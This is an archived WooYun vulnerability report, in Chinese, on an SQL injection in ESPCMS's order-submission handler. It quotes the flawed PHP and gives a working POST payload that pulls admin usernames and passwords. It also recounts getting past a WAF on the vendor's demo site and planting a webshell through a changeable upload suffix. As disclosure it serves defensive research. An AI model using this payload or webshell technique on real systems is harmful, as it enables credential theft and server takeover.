当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(23) 关注此漏洞

缺陷编号: WooYun-2015-92449

漏洞标题: 易思ESPCMS sql注入漏洞(绕过阿里云盾demo站成功拿下shell同时影响到主站)

相关厂商: 易思ESPCMS企业网站管理系统

漏洞作者: Pany自留地

提交时间: 2015-01-19 14:53

公开时间: 2015-04-20 14:22

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 sql注射漏洞利用技巧 getshell

8人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-19: 细节已通知厂商并且等待厂商处理中
2015-01-19: 厂商已经确认,细节仅向厂商公开
2015-01-22: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-03-15: 细节向核心白帽子及相关领域专家公开
2015-03-25: 细节向普通白帽子公开
2015-04-04: 细节向实习白帽子公开
2015-04-20: 细节向公众公开

简要描述:

前台提交订单处.

详细说明:

/interface/order.php

code 区域
$db_values = '';
$arraycount = count($did) - 1;
foreach ($did as $key => $value) {
$value = intval($value);
$oprice[$key] = floatval($oprice[$key]);
$bprice[$key] = floatval($bprice[$key]);
$countprice[$key] = floatval($countprice[$key]);
$amount[$key] = intval($amount[$key]);
if ($key == $arraycount) {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$oprice[$key],$bprice[$key],$countprice[$key],$amount[$key],1)";
} else {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$oprice[$key],$bprice[$key],$countprice[$key],$amount[$key],1),";
}
}
$db_field = 'oid,did,tsn,title,oprice,bprice,countprice,amount,inventory';
$this->db->query('INSERT INTO ' . $db_table2 . ' (' . $db_field . ') VALUES ' . $db_values);





$ptitle,$tsn都可控,直接带入insert。



正常提交

code 区域
POST /index.php?ac=order&at=ordersave HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/index.php?ac=order&at=orderpay
Cookie: /**/
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 426

userid=409&productmoney=33600&discount_productmoney=33600&discountmoney=0&tokenkey=98b9b2dbbda63c317b3f9ab9c370a47b&ptitle%5B%5D=ESPCMS%E5%BC%80%E5%8F%91%E7%89%88&tsn%5B%5D=SN20140706215345387&bprice%5B%5D=16800.00&oprice%5B%5D=16800.00&did%5B%5D=30&amount%5B%5D=2&countprice%5B%5D=33600.00&osid=1&opid=1&alias=wooyun&sex=0&email=asd%**.**.**.**&tel=123&mobile=123&address=test&zipcode=0&sendtime=1&content=&invpayee=&invcontent=





code 区域
$ptitle = $this->fun->accept('ptitle', 'P');
$tsn = $this->fun->accept('tsn', 'P');





来看看accept()



code 区域
function accept($k, $var = 'R', $htmlcode = true, $rehtml = false) {
switch ($var) {
case 'G':
$var = &$_GET;
break;
case 'P':
$var = &$_POST;
break;
case 'C':
$var = &$_COOKIE;
break;
case 'R':
$var = &$_GET;
if (empty($var[$k])) {
$var = &$_POST;
}
break;
}
$putvalue = isset($var[$k]) ? $this->daddslashes($var[$k], 0) : NULL;
return $htmlcode ? ($rehtml ? $this->preg_htmldecode($putvalue) : $this->htmldecode($putvalue)) : $putvalue;
}



这里会把提交的数据转义,但是当$tsn不是数组的时候是这样的

$temp = "wooyun"

$temp[0]的值为w



playload构造:



$tsn参数提交一个' daddslashes(espcms重写的addslashes)将其转义成\'

取$tsn[0],为\



code 区域
userid=1&productmoney=16800&discount_productmoney=16800&discountmoney=0&ptitle[]=,(SELECT CONCAT(USERNAME,0x2f,PASSWORD) FROM espcms_admin_member ),1,1,1,1,1)#&tsn='&bprice[]=16800.00&oprice[]=16800.00&did[]=30&amount[]=1&countprice[]=16800.00&osid=1&opid=1&alias=wooyun&sex=0&email=awsedr@**.**.**.**&tel=10010&mobile=&address=china&zipcode=0&sendtime=1&content=&invpayee=&invcontent=



查看订单:

QQ截图20150117183003.png





sql语句相当于

code 区域
INSERT INTO espcms_order_info (oid,did,tsn,title,oprice,bprice,countprice,amount,inventory) VALUES (10,30,'\',',(SELECT CONCAT(USERNAME,0x2f,PASSWORD) FROM espcms_admin_member ),1,1,1,1,1)#',16800,16800,16800,1,1)





官方DEMO测试:

由于官方demo有阿里的防火墙,我就分两次来获取

code 区域
第一条
SELECT USERNAME FROM espcms_admin_member
第二条:
SELECT PASSWORD FROM espcms_admin_member



2.png

1.png





QQ截图20150117183550.png





说说getshell,demo上upfile文件夹是没有写入权限的,datacache是没有运行php的权限,而且无法编辑模板,但文件后缀能在后台修改,上传文件的目录可控,所以能拿下shell.

QQ截图20150117160314.png



http://**.**.**.**/html/wooyun.php?cmd=phpinfo();



还有一个更加严重的问题,就是DEMO站和主站的隔离没做好。

至于主站我就没深入了



本次测试不涉及数据之类的,厂商可以查看服务器日志。



QQ截图20150117160300.png



漏洞证明:

2.png

1.png



QQ截图20150117183550.png

修复方案:

主站和DEMO站的隔离要做好。

问题已经指出,代码方面的你们懂得。 :)

版权声明:转载请注明来源 Pany自留地@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-01-19 16:53

厂商回复:

我们会尽快修复。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-01-19 14:59 | sco4x0 ( 实习白帽子 | Rank:31 漏洞数:14 | 身高两米)
    2

    简要描述为何这么亮

  2. 2015-01-19 15:07 | JJ Fly ( 普通白帽子 | Rank:317 漏洞数:59 | 冰眼信息科技安全研究院)
    0

    我记得之前的,订单cookie可以逆向,新版本就没看过了。

  3. 2015-01-19 15:11 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    目测算法 要不就是[$key] offset

  4. 2015-01-19 16:58 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    1

    @′雨。 不然过不了墙

  5. 2015-01-19 17:01 | 紫霞仙子 认证白帽子 ( 普通白帽子 | Rank:2253 漏洞数:303 | 长期招聘安全测试人员,熟悉or精通python,...)
    1

    坐等公开!

  6. 2015-02-08 17:05 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    →_→ 被三楼的我猜对了。。。。

  7. 2015-02-09 11:27 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    0

  8. 2015-02-12 14:59 | Noxxx ( 普通白帽子 | Rank:700 漏洞数:55 )
    0

    http://wooyun.org/bugs/wooyun-2014-068516 卧槽,为何厂商不给这么搞的rank???

  9. 2015-02-13 11:15 | Pany自留地 ( 普通白帽子 | Rank:134 漏洞数:31 | 0day just like a joke.)
    0

    @Noxxx 估计是你没深入啊。。这个主站。。

  10. 2015-02-28 15:55 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)
    0

    WooYun: espcms sql注入漏洞 这几个不是一个洞?

登录后才能发表评论,请先 登录